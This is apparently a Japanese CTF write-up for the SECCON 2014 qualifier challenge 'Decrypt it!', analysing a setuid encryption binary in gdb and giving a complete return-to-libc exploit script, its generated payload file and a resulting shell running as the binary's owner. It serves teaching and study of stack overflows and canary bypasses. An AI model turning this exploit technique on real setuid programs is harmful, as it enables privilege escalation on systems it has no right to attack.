SECCON 2014 オンライン予選(日本語) Decrypt it! Write-up 裏面

表はここ

暗号化プログラムと暗号化したファイルが与えられて、ファイルを復号する問題。暗号化のコマンドは

$ ./crypt 1 pub.txt flag.pdf flag.bin

cryptにはバッファーオーバーフローの脆弱性が存在するので、攻撃してみる。

[kusano@www10383uf Decrypt it!]$ ll
total 704
-rwsr-xr-x 1 seccon seccon  13956 Aug  3 17:12 crypt
-rw-rw-r-- 1 kusano kusano 701103 Aug  3 17:12 flag.pdf

この状況で、上記のコマンドでcryptに細工したpub.txtを渡し、uid=secconのシェルを起動することを目指す。

環境

cryptのスタックは実行不可で、SSP(スタックガード)があり、PIEは無効。

[kusano@www10383uf Decrypt it!]$ objdump -p crypt

crypt:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x00002277 memsz 0x00002277 flags r-x
    LOAD off    0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**12
         filesz 0x000001c0 memsz 0x000001cc flags rw-
 DYNAMIC off    0x00002ef8 vaddr 0x0804bef8 paddr 0x0804bef8 align 2**2
         filesz 0x000000f8 memsz 0x000000f8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x00001d94 vaddr 0x08049d94 paddr 0x08049d94 align 2**2
         filesz 0x000000c4 memsz 0x000000c4 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**0
         filesz 0x00000120 memsz 0x00000120 flags r--
 :

[kusano@www10383uf Decrypt it!]$ objdump -d crypt
 :
 8049b7d:       8b 94 24 ac 01 00 00    mov    0x1ac(%esp),%edx
 8049b84:       65 33 15 14 00 00 00    xor    %gs:0x14,%edx
 8049b8b:       0f 84 91 00 00 00       je     8049c22 <uncompress@plt+0xe02>
 8049b91:       e9 87 00 00 00          jmp    8049c1d <uncompress@plt+0xdfd>
 :
 8049c1d:       e8 5e f1 ff ff          call   8048d80 <__stack_chk_fail@plt>
 8049c22:       8b 5d fc                mov    -0x4(%ebp),%ebx
 8049c25:       c9                      leave
 8049c26:       c3                      ret

ASLRは無効にする。後述するようにASLR有効な環境下では攻撃できなかった。

[kusano@www10383uf Decrypt it!]$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
プログラムの解析

crypterのmain関数は次のような処理になっている。stripされているのでクラス名やメソッド名は適当。

//  0x080498b9
int main(int argc, char **argv)
{
    int argc2 = argc;
    int mode = 0;

    if (argc<=4)
        return 1;
    
    mode = atoi(argv[1]);

    int key[16];
    int keynum = 0;
    string str;
    ifstream stream;
    
    stream.open(argv[2]);
    
    while (!stream.eof())
    {
        stream >> str;
        key[keynum++] = atoi(str.c_str());
    }

    f.close();

    Crypter crypter;

    if (mode!=0)
    {
        crypter.loadPublicKey(key);
        string plain(argv[3]);
        crypter.loadPlain(plain);
        crypter.encrypt();
        crypter.save(argv[4], false);
    }
    else
    {
        if (crypter.loadPrivateKey(v)!=0)
            return -1;
        string cipher(argv[3]);
        crypter.loadCipher(cipher);
        crypter.decrypt();
        crypter.save(argv[4], true);
    }

    return 0;
}

スタック配置は次の通り。

esp+  1c argv2
esp+  20 key
esp+  60 crypter
esp+  7c str
esp+  80 plain
esp+  84 cipher
esp+  88 keynum
esp+  8c mode
esp+  94 stream
esp+ 1ac カナリア
esp+ 1b0 and $0xfffffff0,%esp でのズレ
esp+ 1b4 ebx
esp+ 1b8 ebp
esp+ 1bc return address
esp+ 1c0 argc
esp+ 1c4 argv
攻略の方針

Return-to-libcで、

setreuid(secconのuid, -1);
system("/bin/sh");

を実行する。

key以降の変数を任意の値に書き換えることができる。keynumの値を適切に書き換えることで、canaryを飛ばして、return addr以降に値を書き込める。keyとkeynumの間の変数のうち、str以外は初期化前なのでどんな値を書き込んでも構わない。strはバッファを指すポインタとなっているので、適切な値にしないとreturn前にプログラムが落ちてしまう。atoiは余計な文字列があっても無視するので、systemの引数に使用する文字列は数字の後ろに付ければ良い。

情報収集

ユーザーsecconのuid、setreuidのアドレス、systemのアドレス、strの値が必要。

[kusano@www10383uf Decrypt it!]$ id seccon
uid=505(seccon) gid=506(seccon) groups=506(seccon)
[kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin
 :
(gdb) b *0x8049972
Breakpoint 1 at 0x8049972
(gdb) r
Starting program: /home/kusano/seccon/Decrypt it!/crypt 1 pub.txt flag.pdf flag.bin

Breakpoint 1, 0x08049972 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6_5.2.i686 libgcc-4.4.7-4.el6.i686 libstdc++-4.4.7-4.el6.i686 zlib-1.2.3-29.el6.i686
(gdb) p setreuid
$1 = {<text variable, no debug info>} 0x68fc10 <setreuid>
(gdb) p system
$2 = {<text variable, no debug info>} 0x5f0210 <system>
(gdb) x/x $esp+0x7c
0xffffd55c:     0x0804f184

それぞれ、505, 0x68fc10, 0x5f0210, 0x0804f184。
strのポインタは文字列を読み込むときにサイズが足りないと再確保されるので、一度文字列を読み込ませてから取得する。また攻撃する際には最初に長い文字列を読み込ませると、再確保によってアドレスが変わることが無くなる。

攻略

exploit.py

# coding: utf-8

cmd         = "/bin/sh"
uid         = 505
setreuid    = 0x0068fc10
system      = 0x005f0210
strbuf      = 0x0804f184

# 0の直後にコマンドの文字列を書き込むと
# 大きな数字を読み込む際に上書きされてしまうので、空ける
pad = 16
print "0" + "_"*(pad-1) + cmd

for _ in range((0x7c-0x20)/4-1):
    print 0
print strbuf
for _ in range((0x88-0x80)/4):
    print 0

# key[keynum]がリターンアドレスを指すようにする
# 直後にkeynum++があるので、-1
print (0x1bc-0x20)/4-1

print setreuid
# pop; pop; ret;
# systemを呼び出す前にsetreuidの引数をクリアする
print 0x080498b6
print uid
print uid

print system
print 0
print strbuf + pad
[kusano@www10383uf Decrypt it!]$ python exploit.py > pub.txt
[kusano@www10383uf Decrypt it!]$ cat pub.txt
0_______________/bin/sh
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
134541700
0
0
102
6880272
134518966
505
505
6226448
0
134541716
[kusano@www10383uf Decrypt it!]$ ./crypt 1 pub.txt flag.pdf flag.bin
sh-4.1$ id
uid=505(seccon) gid=500(kusano) groups=506(seccon),10(wheel),500(kusano)
ASLR

どうせなら、ASLRが有効な環境下で攻略したかったが、なかなか難しい。
Return-oriented Programmingをしようにも、プログラムが短いのでgadgetが足りない。
↑の攻撃コードはスタック位置には依存しておらず、libcの位置とstrのヒープ位置に依存している。libcの位置についてはASLRによるランダム化が比較的小さいので試行回数を増やせばいけそうだが、ヒープ位置が難しい。strが指しているバッファは単に文字列を格納するだけではなく、strが指している位置より前に文字列長やバッファサイズの情報が存在しているので、単に書き込み可能なアドレスで上書きするだけではダメ。

[kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin
 :
(gdb)  b *0x8049972
Breakpoint 1 at 0x8049972
(gdb) r
 :
(gdb) x/x $esp+0x7c
0xffffd55c:     0x0804f184
(gdb) x/32x 0x0804f140
0x804f140:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f150:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f160:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f170:      0x00000000      0x00000029      0x00000017      0x00000017
0x804f180:      0x00000000      0x5f5f5f30      0x5f5f5f5f      0x5f5f5f5f
0x804f190:      0x5f5f5f5f      0x6e69622f      0x0068732f      0x0001ee69
0x804f1a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804f1b0:      0x00000000      0x00000000      0x00000000      0x00000000
補足

C++なのに、vectorではなく配列を使ったり、int型の変数に直接読み込まずにstringを介していたり……。コンテストが12時間ではなく2日間だったら、この部分も問題にするつもりで作っていたのかもしれない。